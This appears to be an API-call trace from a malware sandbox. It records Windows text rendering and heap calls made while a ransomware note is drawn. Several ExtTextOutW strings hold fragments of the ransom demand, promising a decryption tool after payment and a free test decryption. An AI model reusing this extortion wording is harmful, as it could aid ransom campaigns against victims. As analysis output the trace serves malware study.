[0111.193] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.193] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.193] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.193] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.193] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.193] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.193] _CIatan2 () returned 0x20
[0111.193] _CIatan2 () returned 0x20
[0111.193] ExtTextOutW (hdc=0x90101e7, x=461, y=124, options=0x4, lprect=0x1c8498, lpString=" n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.193] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.193] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.193] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.193] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.193] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.193] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.193] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.193] _CIatan2 () returned 0x20
[0111.193] _CIatan2 () returned 0x20
[0111.193] ExtTextOutW (hdc=0x90101e7, x=466, y=124, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.193] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.193] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.193] LsDestroyLine () returned 0x0
[0111.193] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.193] LsSetDoc () returned 0x0
[0111.194] LsCreateLine () returned 0x0
[0111.194] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.194] LsQueryLineDup () returned 0x0
[0111.194] LsQueryLineCpPpoint () returned 0x0
[0111.194] LsDisplayLine () returned 0x0
[0111.194] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0111.194] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.194] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.194] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.194] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.194] _CIsqrt () returned 0x3f1a027f
[0111.194] _CIsqrt () returned 0x3f1a027f
[0111.194] _CIatan2 () returned 0x20
[0111.194] _CIatan2 () returned 0x20
[0111.194] ExtTextOutA (hdc=0x90101e7, x=46, y=149, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0111.194] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.194] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.194] LsDestroyLine () returned 0x0
[0111.194] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.195] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.195] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb310 | out: hHeap=0x450000) returned 1
[0111.195] LsSetDoc () returned 0x0
[0111.195] LsCreateLine () returned 0x0
[0111.195] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.195] LsDisplayLine () returned 0x0
[0111.196] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0111.196] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.196] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.196] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.196] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.196] _CIatan2 () returned 0x20
[0111.196] _CIatan2 () returned 0x20
[0111.196] ExtTextOutW (hdc=0x90101e7, x=62, y=149, options=0x4, lprect=0x1c8498, lpString="The file size should not exceed 1MB. n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x24, lpDx=0x1c84d0) returned 1
[0111.196] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.196] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.196] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.196] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.196] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.196] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.196] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.196] _CIatan2 () returned 0x20
[0111.196] _CIatan2 () returned 0x20
[0111.196] ExtTextOutW (hdc=0x90101e7, x=302, y=149, options=0x4, lprect=0x1c8498, lpString=" n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.196] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.196] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.196] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.196] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.196] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.196] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.196] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.196] _CIatan2 () returned 0x20
[0111.196] _CIatan2 () returned 0x20
[0111.196] ExtTextOutW (hdc=0x90101e7, x=307, y=149, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.197] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.197] LsDestroyLine () returned 0x0
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.197] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x30a01ff
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.197] LsDestroyContext () returned 0x0
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1068 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509c80 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013a0 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013c8 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493620 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503ee8 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501418 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013f0 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501440 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501468 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e3f38 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd970 | out: hHeap=0x450000) returned 1
[0111.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd980 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd990 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd9a0 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503788 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f50 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4340 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4410 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462cf0 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e49b0 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e45a8 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4748 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4818 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497fd8 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500948 | out: hHeap=0x450000) returned 1
[0111.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509608 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5006f0 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] IntersectRect (in: lprcDst=0x1c9514, lprcSrc1=0x1c9514, lprcSrc2=0x1c9424 | out: lprcDst=0x1c9514) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9534 | out: lprcDst=0x4967b8) returned 1
[0111.199] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9554 | out: lprcDst=0x4967b8) returned 1
[0111.199] IntersectRect (in: lprcDst=0x1c9054, lprcSrc1=0x1c9054, lprcSrc2=0x1c8f08 | out: lprcDst=0x1c9054) returned 1
[0111.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.199] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9054 | out: lprcDst=0x4967b8) returned 1
[0111.199] IntersectRect (in: lprcDst=0x1c8fb8, lprcSrc1=0x1c8fb8, lprcSrc2=0x4967c8 | out: lprcDst=0x1c8fb8) returned 1
[0111.199] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c8f6c | out: lprcDst=0x4967b8) returned 1
[0111.199] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.199] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.199] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.199] LsSetDoc () returned 0x0
[0111.199] LsCreateLine () returned 0x0
[0111.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.200] LsDisplayLine () returned 0x0
[0111.200] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x18a002e
[0111.200] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.200] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.200] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.200] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.200] _CIatan2 () returned 0x20
[0111.200] _CIatan2 () returned 0x20
[0111.200] ExtTextOutW (hdc=0x90101e7, x=32, y=71, options=0x4, lprect=0x1c8160, lpString="Free decryption as guaranteeeed 1MB. n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1c, lpDx=0x1c8198) returned 1
[0111.200] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.200] LsDestroyLine () returned 0x0
[0111.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.200] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x60a0200
[0111.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.200] BitBlt (hdc=0x1401007f, x=0, y=302, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0111.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0111.201] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0111.201] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0111.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.201] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0111.201] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0111.201] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.201] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.201] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0x1004020f
[0111.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.201] SelectClipRgn (hdc=0x90101e7, hrgn=0x1004020f) returned 2
[0111.201] DeleteObject (ho=0x1004020f) returned 1
[0111.201] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0111.201] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0111.201] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0111.201] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0111.201] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0111.201] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0111.201] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0111.201] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0111.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.201] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0111.201] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0111.202] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0111.202] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.202] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0111.202] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0111.202] GetStockObject (i=8) returned 0x1b00016
[0111.202] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.202] GetROP2 (hdc=0x90101e7) returned 13
[0111.202] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.202] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0111.202] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.202] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.202] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0111.202] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0111.202] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0111.202] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0111.202] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0111.202] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.202] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.202] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.202] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.202] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.202] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.202] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0111.202] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0111.202] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.202] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0111.202] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0111.202] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0111.202] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.203] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.203] LsGetRubyLsimethods () returned 0x0
[0111.203] LsGetTatenakayokoLsimethods () returned 0x0
[0111.203] LsGetHihLsimethods () returned 0x0
[0111.203] LsGetWarichuLsimethods () returned 0x0
[0111.203] LsGetReverseLsimethods () returned 0x0
[0111.203] LsCreateContext () returned 0x0
[0111.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x509608
[0111.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0111.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4e1068
[0111.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0111.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x509c80
[0111.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501468
[0111.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501440
[0111.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x48b598
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503ee8
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013f0
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501418
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013c8
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013a0
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x4e3f38
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd9a0
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd990
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd980
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd970
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x493620
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x503788
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4e1f50
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4954a0
[0111.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x500948
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4e4340
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4e4410
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x462cf0
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497fd8
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x4e45a8
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4e4748
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4e4818
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0111.205] LsSetModWidthPairs () returned 0x0
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x4e49b0
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0111.205] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.205] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.205] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.205] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503f30
[0111.207] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.207] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.207] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.208] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.208] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.208] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.208] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.208] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.208] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.208] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.208] IsRectEmpty (lprc=0x503f40) returned 0
[0111.208] IsRectEmpty (lprc=0x503f50) returned 0
[0111.208] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0111.208] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0111.208] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0111.208] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0111.208] GetStockObject (i=8) returned 0x1b00016
[0111.208] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.208] GetROP2 (hdc=0x90101e7) returned 13
[0111.208] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.208] Rectangle (hdc=0x90101e7, left=12, top=0, right=1296, bottom=51) returned 1
[0111.208] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.208] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.208] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0111.208] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.208] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0x1104020f
[0111.208] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.208] SelectClipRgn (hdc=0x90101e7, hrgn=0x1104020f) returned 2
[0111.208] DeleteObject (ho=0x1104020f) returned 1
[0111.208] _CIsqrt () returned 0x3f1a027f
[0111.208] _CIsqrt () returned 0x3f1a027f
[0111.208] _CIatan2 () returned 0x20
[0111.209] _CIatan2 () returned 0x20
